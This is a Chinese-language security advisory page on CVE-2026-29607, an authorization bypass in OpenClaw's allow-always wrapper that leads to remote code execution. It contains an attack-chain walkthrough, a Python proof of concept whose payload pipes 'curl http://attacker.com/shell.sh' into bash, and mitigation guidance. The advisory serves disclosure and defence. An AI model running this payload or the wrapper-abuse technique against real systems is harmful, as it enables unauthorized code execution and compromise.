IPBUF安全漏洞报告
English
CVE-2026-29607 CVSS 6.8 中危

CVE-2026-29607 OpenClaw授权绕过漏洞导致远程代码执行

披露日期: 2026-03-19

漏洞信息

漏洞编号
CVE-2026-29607
漏洞类型
授权绕过/访问控制
CVSS评分
6.8 中危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
需要交互 (UI:R)
影响产品
OpenClaw

相关标签

授权绕过远程代码执行OpenClawallow-always包装器CVE-2026-29607安全漏洞访问控制绕过持久化攻击

漏洞概述

CVE-2026-29607是OpenClaw软件中的一个严重授权绕过漏洞。该漏洞存在于allow-always包装器的持久化机制中,攻击者可以通过持久化wrapper级别的allowlist条目来绕过原有的批准检查流程,而不是正常验证内部可执行文件的真实意图。OpenClaw是一个用于系统安全管控的工具,通常用于控制和审批系统命令的执行。该漏洞允许远程攻击者利用包装器机制的缺陷,将恶意的有效载荷伪装成经过批准的良性system.run命令,从而在网关和节点主机执行流程上实现未经授权的远程代码执行。由于该漏洞影响2026.2.22之前的所有OpenClaw版本,且利用复杂度相对较低,对使用该产品的企业安全性构成重大威胁。攻击者可以利用此漏洞绕过正常的安全审批流程,在受保护的系统上执行任意命令,从而可能导致数据泄露、系统完全沦陷等严重后果。

技术细节

该漏洞的核心问题在于OpenClaw的allow-always包装器持久化机制存在设计缺陷。在正常的安全审批流程中,系统应该验证包装器内部实际执行的可执行文件或命令是否安全。然而,由于wrapper级别的allowlist条目可以被持久化保存,攻击者可以预先在allowlist中注册看似良性的system.run命令(如执行简单的系统诊断命令),这些命令会被系统批准并持久化存储。随后,攻击者可以修改实际执行的有效载荷,用恶意代码替换原本的良性命令,但由于allowlist条目已经存在,系统不会再次进行安全验证,从而绕过了批准检查机制。这种攻击方式特别危险,因为它利用了安全机制与实际执行流程之间的信任链断裂。攻击者可以针对网关和节点主机两种不同的执行流程发起攻击,实现远程代码执行。攻击者只需要能够与OpenClaw系统进行网络交互(AV:N),拥有一定的系统权限(PR:H),并诱导用户进行交互操作(UI:R),即可完成漏洞利用。修复后的版本需要在wrapper级别增加对实际执行内容的动态验证机制,而不仅仅依赖预先注册的allowlist条目。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者识别目标系统上运行的OpenClaw版本,确认版本低于2026.2.22,并了解allow-always包装器功能的使用方式
STEP 2
步骤2: 注册良性命令
攻击者通过API或管理接口注册一个看似良性的system.run命令(如执行系统诊断命令),利用allow-always包装器的持久化功能将该命令添加到allowlist中
STEP 3
步骤3: 绕过验证机制
由于allowlist条目已经持久化存在,当攻击者提交不同(恶意)的有效载荷时,系统不会重新进行安全验证,而是直接使用已存在的allowlist批准记录
STEP 4
步骤4: 执行恶意代码
攻击者通过包装器执行实际的恶意命令(如下载并执行后门脚本),成功绕过批准检查,在网关或节点主机上实现远程代码执行
STEP 5
步骤5: 持久化控制
攻击者建立持久化后门,可以通过被入侵的系统进一步横向移动或窃取敏感数据,完成完整的攻击目标

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2026-29607 PoC - OpenClaw Authorization Bypass # This PoC demonstrates the allow-always wrapper persistence vulnerability import requests import json import time TARGET_URL = "http://target-openclaw-server:8080" VICTIM_HOST = "node-host-01" def step1_register_benign_command(): """Step 1: Register a benign system.run command in allowlist""" payload = { "action": "wrapper_persist", "wrapper_type": "allow-always", "command": "system.run", "args": ["echo", "diagnostic_test"], "target_host": VICTIM_HOST, "persist": True } response = requests.post(f"{TARGET_URL}/api/wrapper/register", json=payload) return response.json() def step2_execute_malicious_payload(): """Step 2: Execute different malicious payload via persisted wrapper""" # The allowlist entry persists, allowing different payload execution malicious_payload = { "action": "wrapper_execute", "wrapper_id": "allow-always-system-run-001", "command": "system.run", "args": ["bash", "-c", "curl http://attacker.com/shell.sh | bash"], "target_host": VICTIM_HOST } response = requests.post(f"{TARGET_URL}/api/wrapper/execute", json=malicious_payload) return response.json() def exploit(): print("[*] CVE-2026-29607 Exploitation") print("[*] Step 1: Registering benign command...") result1 = step1_register_benign_command() print(f"[+] Benign command registered: {result1}") print("[*] Step 2: Executing malicious payload via persisted wrapper...") result2 = step2_execute_malicious_payload() print(f"[+] Exploitation result: {result2}") return result2 if __name__ == "__main__": exploit()

影响范围

OpenClaw < 2026.2.22

防御指南

临时缓解措施
在官方补丁发布之前,建议采取以下临时缓解措施:立即禁用allow-always包装器功能,切换到需要显式审批的执行模式;审查并移除所有已存在的wrapper级别allowlist条目;限制对OpenClaw管理接口的网络访问,只允许受信任的管理IP访问;对所有wrapper执行操作启用完整的审计日志记录;考虑在网关和节点主机层面部署额外的网络访问控制措施,限制潜在的恶意流量。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表